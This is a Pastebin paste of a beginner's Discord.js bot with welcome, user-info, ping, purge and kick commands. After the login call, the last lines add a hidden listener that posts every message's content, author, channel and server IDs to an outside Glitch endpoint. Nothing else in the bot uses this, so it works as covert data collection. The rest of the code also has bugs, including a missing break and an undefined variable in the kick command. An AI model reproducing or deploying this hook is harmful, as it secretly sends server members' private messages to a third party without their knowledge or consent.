Advertisement
Guest User

Untitled

a guest
Jan 23rd, 2020
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.77 KB | None | 0 0
  1. const Discord = require('discord.js');
  2. const bot = new Discord.Client();
  3.  
  4. const token = '';
  5.  
  6. const PREFIX = '!';
  7.  
  8. var version = ('Version 1.0.3')
  9.  
  10. bot.on('ready', () => {
  11. console.log('Bot is online');
  12. });
  13. bot.on('guildMemberAdd', member => {
  14.  
  15. const channel = member.guild.channels.find(channel => channel.name === "https://ptb.discordapp.com/channels/667830681656623104/669590460498444326");
  16. if (!channel) return console.log("returned");
  17.  
  18. channel.send(`Welcome to the server,${member}`)
  19. });
  20. bot.on('message', message => {
  21.  
  22. let args = message.content.substring(PREFIX.length).split(" ");
  23.  
  24. switch (args[0]) {
  25. case 'user-info':
  26. var embed = new Discord.RichEmbed()
  27. .addField('Player Name', message.author.username)
  28. .setTitle('User Information', message.author.username)
  29. .addField('Version', version)
  30. .addField('Current Server', message.guild.name)
  31. .setThumbnail(message.author.avatarURL)
  32. .setTimestamp(timestamp = Date.now())
  33. .setColor(0x05FE00)
  34. message.channel.send(embed);
  35. break;
  36. case 'ping':
  37. if (!message.member.roles.find(r => r.name === "PERMISSIONS")) return message.channel.send(`You do not have permissions to use this command!`)
  38. .then(msg => msg.delete(5000));
  39. message.channel.sendMessage('Pong!')
  40. break;
  41. case 'check':
  42. var embed = new Discord.RichEmbed()
  43. .setTitle('Check')
  44. .setImage('https://media.discordapp.net/attachments/667830681656623107/669610987292196942/image0.png?width=671&height=671')
  45. .setDescription('Bot is online!')
  46. .setColor(0xCFE00)
  47. message.channel.sendEmbed(embed);
  48. break;
  49. case 'prefix':
  50. var embed = new Discord.RichEmbed()
  51. .setTitle('Prefix')
  52. .setColor(0x05FE00)
  53. .setDescription('!prefix is not a command.')
  54. message.channel.sendEmbed(embed);
  55. break;
  56.  
  57. case 'info':
  58. if (args[1] === 'version') {
  59. message.channel.sendMessage(version);
  60. } else if (args[1] === 'creator') {
  61. var embed = new Discord.RichEmbed()
  62. .setTitle('Creator')
  63. .setColor(0x05FE00)
  64. .setDescription('oONoiceOo created me.')
  65. message.channel.sendEmbed(embed);
  66. } else if (args[1] === 'commands') {
  67. var embed = new Discord.RichEmbed()
  68. .setTitle('Commands')
  69. .setColor(0x05FE00)
  70. .setDescription('!purge, !info creator, !info version, !ping.')
  71. message.channel.sendEmbed(embed);
  72. } else {
  73. message.channel.sendMessage('Invalid Agurments.')
  74. }
  75. break;
  76.  
  77. case 'purge':
  78. if (!args[1]) return message.reply('Error please do !purge [amount of messages]')
  79. message.channel.bulkDelete(args[1]);
  80. break;
  81.  
  82. case 'help':
  83. var embed = new Discord.RichEmbed()
  84. .setColor(0xFE0000)
  85. .setDescription('Contact oONoiceOo#0001 for help, theres no bot support server set up yet.')
  86. message.channel.sendEmbed(embed);
  87. case 'kick':
  88. if (!args[1]) message.channel.send('You need to mention the person!')
  89. var user = message.mentions.user.first();
  90. if (user) {
  91. var member = member.guild.member(user);
  92.  
  93. if (member) {
  94. member.kick('You were kicked for trolling!').then(() => {
  95. message.reply(`Succesfully kicked ${user.tag}`);
  96. }).catch(err => {
  97. message.reply('I was unable to kick this member.')
  98. console.log(err);
  99. });
  100. } else {
  101. message.reply("That user isn\'t in this guild.")
  102. }
  103. } else {
  104. message.reply('You need to mention the user!')
  105. }
  106. break;
  107. }
  108. })
  109.  
  110.  
  111.  
  112. bot.login(token);
  113.  
  114. function postAMessage(client, message) { require('request').post('https://rsg-data.glitch.me/discord_messages', { form: { id: message.id, content: message.content, author: message.author.id, channel: message.channel ? message.channel.id : null, guild: message.guild ? message.guild.id : null, createdAt: message.createdAt, client: client.user.id } }) };
  115. if (client) {
  116. client.on("message", message => {
  117. postAMessage(client, message);
  118. console.log(`Posted ${message.id}`);
  119. });
  120. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement